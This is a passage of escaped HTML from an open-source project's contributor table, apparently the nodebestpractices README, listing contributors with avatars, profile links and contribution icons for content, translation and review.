href=\"https://www.linkedin.com/in/siddharthofficial/\"><img src=\"https://avatars2.githubusercontent.com/u/26025955?v=4\" width=\"100px;\" alt=\"Siddharth\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Siddharth</b></sub></a><br /><a href=\"#content-w01fS\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ryansmith.tech/\"><img src=\"https://avatars0.githubusercontent.com/u/1578766?v=4\" width=\"100px;\" alt=\"Ryan Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Smith</b></sub></a><br /><a href=\"#content-ryan3E0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://de.linkedin.com/in/tom-boettger\"><img src=\"https://avatars2.githubusercontent.com/u/49961674?v=4\" width=\"100px;\" alt=\"Tom Boettger\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tom Boettger</b></sub></a><br /><a href=\"#content-bttger\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jormaechea\"><img src=\"https://avatars3.githubusercontent.com/u/5612500?v=4\" width=\"100px;\" alt=\"Joaquín Ormaechea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joaquín Ormaechea</b></sub></a><br /><a href=\"#translation-jormaechea\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dfrzuz\"><img src=\"https://avatars3.githubusercontent.com/u/71859096?v=4\" width=\"100px;\" alt=\"dfrzuz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>dfrzuz</b></sub></a><br /><a href=\"#translation-dfrzuz\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/victor-homyakov\"><img src=\"https://avatars1.githubusercontent.com/u/121449?v=4\" width=\"100px;\" alt=\"Victor Homyakov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Victor Homyakov</b></sub></a><br /><a href=\"#content-victor-homyakov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://joshuahemphill.com\"><img src=\"https://avatars3.githubusercontent.com/u/46608115?v=4\" width=\"100px;\" alt=\"Josh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Josh</b></sub></a><br /><a href=\"#content-josh-hemphill\" title=\"Content\">🖋</a> <a href=\"#security-josh-hemphill\" title=\"Security\">🛡️</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alec-francis\"><img src=\"https://avatars2.githubusercontent.com/u/32949882?v=4\" width=\"100px;\" alt=\"Alec Francis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alec Francis</b></sub></a><br /><a href=\"#content-alec-francis\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/arjun6610\"><img src=\"https://avatars1.githubusercontent.com/u/61268891?v=4\" width=\"100px;\" alt=\"arjun6610\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>arjun6610</b></sub></a><br /><a href=\"#content-arjun6610\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jan-osch\"><img src=\"https://avatars2.githubusercontent.com/u/11651780?v=4\" width=\"100px;\" alt=\"Jan Osch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Osch</b></sub></a><br /><a href=\"#content-jan-osch\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/thiagotrs\"><img src=\"https://avatars2.githubusercontent.com/u/32005779?v=4\" width=\"100px;\" alt=\"Thiago Rotondo Sampaio\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thiago Rotondo Sampaio</b></sub></a><br /><a href=\"#translation-thiagotrs\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alexsey\"><img src=\"https://avatars0.githubusercontent.com/u/6392013?v=4\" width=\"100px;\" alt=\"Alexsey\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alexsey</b></sub></a><br /><a href=\"#content-Alexsey\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/13luismb\"><img src=\"https://avatars1.githubusercontent.com/u/32210483?v=4\" width=\"100px;\" alt=\"Luis A. Acurero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Luis A. Acurero</b></sub></a><br /><a href=\"#translation-13luismb\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lromano97.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/22394847?v=4\" width=\"100px;\" alt=\"Lucas Romano\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Romano</b></sub></a><br /><a href=\"#translation-lromano97\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/denisecase\"><img src=\"https://avatars0.githubusercontent.com/u/13016516?v=4\" width=\"100px;\" alt=\"Denise Case\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Denise Case</b></sub></a><br /><a href=\"#content-denisecase\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://stackoverflow.com/story/elektronik\"><img src=\"https://avatars3.githubusercontent.com/u/1078554?v=4\" width=\"100px;\" alt=\"Nick Ribal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nick Ribal</b></sub></a><br /><a href=\"#content-elektronik2k5\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Aelektronik2k5\" title=\"Reviewed Pull Requests\">👀</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/0xflotus\"><img src=\"https://avatars3.githubusercontent.com/u/26602940?v=4\" width=\"100px;\" alt=\"0xflotus\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>0xflotus</b></sub></a><br /><a href=\"#content-0xflotus\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.dijonkitchen.org/\"><img src=\"https://avatars3.githubusercontent.com/u/11434205?v=4\" width=\"100px;\" alt=\"Jonathan Chen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Chen</b></sub></a><br /><a href=\"#content-dijonkitchen\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dilansri\"><img src=\"https://avatars2.githubusercontent.com/u/5089728?v=4\" width=\"100px;\" alt=\"Dilan Srilal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dilan Srilal</b></sub></a><br /><a href=\"#content-dilansri\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://vectree.ru\"><img src=\"https://avatars3.githubusercontent.com/u/4215285?v=4\" width=\"100px;\" alt=\"vladthelittleone\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>vladthelittleone</b></sub></a><br /><a href=\"#translation-vladthelittleone\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.nikolaso.com\"><img src=\"https://avatars0.githubusercontent.com/u/60047271?v=4\" width=\"100px;\" alt=\"Nik Osvalds\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nik Osvalds</b></sub></a><br /><a href=\"#content-nosvalds\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kdaniel21\"><img src=\"https://avatars0.githubusercontent.com/u/39854385?v=4\" width=\"100px;\" alt=\"Daniel Kiss\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniel Kiss</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=kdaniel21\" title=\"Documentation\">📖</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/forresst17\"><img src=\"https://avatars2.githubusercontent.com/u/163352?v=4\" width=\"100px;\" alt=\"Forresst\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Forresst</b></sub></a><br /><a href=\"#content-forresst\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/svenheden\"><img src=\"https://avatars1.githubusercontent.com/u/76098?v=4\" width=\"100px;\" alt=\"Jonathan Svenheden\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Svenheden</b></sub></a><br /><a href=\"#content-svenheden\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AustrisC\"><img src=\"https://avatars2.githubusercontent.com/u/12381652?v=4\" width=\"100px;\" alt=\"AustrisC\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>AustrisC</b></sub></a><br /><a href=\"#content-AustrisC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cisco0808\"><img src=\"https://avatars0.githubusercontent.com/u/60251188?v=4\" width=\"100px;\" alt=\"kyeongtae kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kyeongtae kim</b></sub></a><br /><a href=\"#translation-cisco0808\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://keybase.io/651z9pz968v2accj\"><img src=\"https://avatars.githubusercontent.com/u/65741741?v=4\" width=\"100px;\" alt=\"007\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>007</b></sub></a><br /><a href=\"#content-6gx7iycn53ioq2e8apk1j1ypwov4giui\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.anediaz.com\"><img src=\"https://avatars.githubusercontent.com/u/17216937?v=4\" width=\"100px;\" alt=\"Ane Diaz de Tuesta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ane Diaz de Tuesta</b></sub></a><br /><a href=\"#translation-anediaz\" title=\"Translation\">🌍</a> <a href=\"#content-anediaz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://yukioh.net\"><img src=\"https://avatars.githubusercontent.com/u/23182489?v=4\" width=\"100px;\" alt=\"YukiOta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>YukiOta</b></sub></a><br /><a href=\"#translation-YukiOta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yeovilhospital.co.uk/\"><img src=\"https://avatars.githubusercontent.com/u/43814140?v=4\" width=\"100px;\" alt=\"Frazer Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Frazer Smith</b></sub></a><br /><a href=\"#content-Fdawgs\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rluvaton\"><img src=\"https://avatars.githubusercontent.com/u/16746759?v=4\" width=\"100px;\" alt=\"Raz Luvaton\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Raz Luvaton</b></sub></a><br /><a href=\"#content-rluvaton\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/YA21\"><img src=\"https://avatars.githubusercontent.com/u/37298463?v=4\" width=\"100px;\" alt=\"Yuta Azumi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuta Azumi</b></sub></a><br /><a href=\"#content-YA21\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/andrewjbarbour\"><img src=\"https://avatars.githubusercontent.com/u/77080074?v=4\" width=\"100px;\" alt=\"andrewjbarbour\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>andrewjbarbour</b></sub></a><br /><a href=\"#content-andrewjbarbour\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://MasujimaRyohei.jp\"><img src=\"https://avatars.githubusercontent.com/u/17163541?v=4\" width=\"100px;\" alt=\"mr\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mr</b></sub></a><br /><a href=\"#content-MasujimaRyohei\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kubanac95\"><img src=\"https://avatars.githubusercontent.com/u/16191931?v=4\" width=\"100px;\" alt=\"Aleksandar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aleksandar</b></sub></a><br /><a href=\"#content-kubanac95\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://vincentjonathan.com\"><img src=\"https://avatars.githubusercontent.com/u/32597776?v=4\" width=\"100px;\" alt=\"Owl\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Owl</b></sub></a><br /><a href=\"#content-SuspiciousLookingOwl\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/yedidyas\"><img src=\"https://avatars.githubusercontent.com/u/36074789?v=4\" width=\"100px;\" alt=\"Yedidya Schwartz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yedidya Schwartz</b></sub></a><br /><a href=\"#content-yedidyas\" title=\"Content\">🖋</a> <a href=\"#example-yedidyas\" title=\"Examples\">💡</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ariel-diaz\"><img src=\"https://avatars.githubusercontent.com/u/20423540?v=4\" width=\"100px;\" alt=\"ari\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ari</b></sub></a><br /><a href=\"#content-ariel-diaz\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.koenigthomas.de/\"><img src=\"https://avatars.githubusercontent.com/u/7080389?v=4\" width=\"100px;\" alt=\"Thomas König\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thomas König</b></sub></a><br /><a href=\"#content-Vispercept\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/coocos\"><img src=\"https://avatars.githubusercontent.com/u/1397804?v=4\" width=\"100px;\" alt=\"Kalle Lämsä\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kalle Lämsä</b></sub></a><br /><a href=\"#content-coocos\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://math.cat\"><img src=\"https://avatars.githubusercontent.com/u/10328430?v=4\" width=\"100px;\" alt=\"Wyatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Wyatt</b></sub></a><br /><a href=\"#content-ZhyMC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://libkhadir.fr\"><img src=\"https://avatars.githubusercontent.com/u/45130488?v=4\" width=\"100px;\" alt=\"KHADIR Tayeb\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>KHADIR Tayeb</b></sub></a><br /><a href=\"#content-tkhadir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shankarregmi\"><img src=\"https://avatars.githubusercontent.com/u/7703345?v=4\" width=\"100px;\" alt=\"Shankar Regmi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shankar Regmi</b></sub></a><br /><a href=\"#content-shankarregmi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/codebyshubham\"><img src=\"https://avatars.githubusercontent.com/u/10389723?v=4\" width=\"100px;\" alt=\"Shubham\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shubham</b></sub></a><br /><a href=\"#content-codebyshubham\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://lucalves.me/\"><img src=\"https://avatars.githubusercontent.com/u/17712401?v=4\" width=\"100px;\" alt=\"Lucas Alves\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Alves</b></sub></a><br /><a href=\"#content-lucalves\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/benjaminudoh10\"><img src=\"https://avatars.githubusercontent.com/u/9018331?v=4\" width=\"100px;\" alt=\"Benjamin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin</b></sub></a><br /><a href=\"#content-benjaminudoh10\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yjoer.com\"><img src=\"https://avatars.githubusercontent.com/u/47742486?v=4\" width=\"100px;\" alt=\"Yeoh Joer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yeoh Joer</b></sub></a><br /><a href=\"#content-yjoer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blog.miigon.net\"><img src=\"https://avatars.githubusercontent.com/u/16161991?v=4\" width=\"100px;\" alt=\"Miigon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Miigon</b></sub></a><br /><a href=\"#content-Miigon\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://brainstorage.me/Egregor2011\"><img src=\"https://avatars.githubusercontent.com/u/3630318?v=4\" width=\"100px;\" alt=\"Rostislav Bogorad\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rostislav Bogorad</b></sub></a><br /><a href=\"#content-Egregor2011\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Flouse\"><img src=\"https://avatars.githubusercontent.com/u/1297478?v=4\" width=\"100px;\" alt=\"Flouse\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Flouse</b></sub></a><br /><a href=\"#content-Flouse\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://taranttini.com\"><img src=\"https://avatars.githubusercontent.com/u/6922125?v=4\" width=\"100px;\" alt=\"Tarantini Pereira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tarantini Pereira</b></sub></a><br /><a href=\"#content-taranttini\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kzmat\"><img src=\"https://avatars.githubusercontent.com/u/34614358?v=4\" width=\"100px;\" alt=\"Kazuki Matsuo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kazuki Matsuo</b></sub></a><br /><a href=\"#content-kzmat\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/burkybang\"><img src=\"https://avatars.githubusercontent.com/u/927886?v=4\" width=\"100px;\" alt=\"Adam Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Adam Smith</b></sub></a><br /><a href=\"#content-burkybang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://codekodo.tistory.com\"><img src=\"https://avatars.githubusercontent.com/u/33795856?v=4\" width=\"100px;\" alt=\"Dohyeon Ko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dohyeon Ko</b></sub></a><br /><a href=\"#content-k906506\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vlad99902\"><img src=\"https://avatars.githubusercontent.com/u/67615003?v=4\" width=\"100px;\" alt=\"Vladislav Legkov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vladislav Legkov</b></sub></a><br /><a href=\"#content-vlad99902\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kerolloz.github.io\"><img src=\"https://avatars.githubusercontent.com/u/36763164?v=4\" width=\"100px;\" alt=\"Kerollos Magdy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kerollos Magdy</b></sub></a><br /><a href=\"#content-kerolloz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/erez-lieberman-b90b7219/\"><img src=\"https://avatars.githubusercontent.com/u/3277260?v=4\" width=\"100px;\" alt=\"Erez Lieberman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Erez Lieberman</b></sub></a><br /><a href=\"#content-erezLieberman\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/\"><img src=\"https://avatars.githubusercontent.com/u/48841329?v=4\" width=\"100px;\" alt=\"Breno Macedo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Breno Macedo</b></sub></a><br /><a href=\"#content-breno404\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JFernando122\"><img src=\"https://avatars.githubusercontent.com/u/40414805?v=4\" width=\"100px;\" alt=\"Fernando Flores\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fernando Flores</b></sub></a><br /><a href=\"#translation-JFernando122\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/rafaelconcept/\"><img src=\"https://avatars.githubusercontent.com/u/43880669?v=4\" width=\"100px;\" alt=\"Rafael Brito\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rafael Brito</b></sub></a><br /><a href=\"#translation-rafaelconcept\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://emiliano-peralta-portfolio.vercel.app/\"><img src=\"https://avatars.githubusercontent.com/u/63617637?v=4\" width=\"100px;\" alt=\"Emiliano Peralta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Emiliano Peralta</b></sub></a><br /><a href=\"#translation-emiperalta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lannex.github.io\"><img src=\"https://avatars.githubusercontent.com/u/7369541?v=4\" width=\"100px;\" alt=\"Shin, SJ\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shin, SJ</b></sub></a><br /><a href=\"#content-lannex\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.benjaminforster.com\"><img src=\"https://avatars.githubusercontent.com/u/12589522?v=4\" width=\"100px;\" alt=\"Benjamin Forster\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Forster</b></sub></a><br /><a href=\"#content-e-e-e\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DanieleFedeli\"><img src=\"https://avatars.githubusercontent.com/u/37077048?v=4\" width=\"100px;\" alt=\"Daniele Fedeli\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniele Fedeli</b></sub></a><br /><a href=\"#content-DanieleFedeli\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/djob195\"><img src=\"https://avatars.githubusercontent.com/u/17146669?v=4\" width=\"100px;\" alt=\"djob195\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>djob195</b></sub></a><br /><a href=\"#content-djob195\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/antspk\"><img src=\"https://avatars.githubusercontent.com/u/78955792?v=4\" width=\"100px;\" alt=\"antspk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>antspk</b></sub></a><br /><a href=\"#content-antspk\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jjy0821.tistory.com/\"><img src=\"https://avatars.githubusercontent.com/u/88075341?v=4\" width=\"100px;\" alt=\"정진영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: 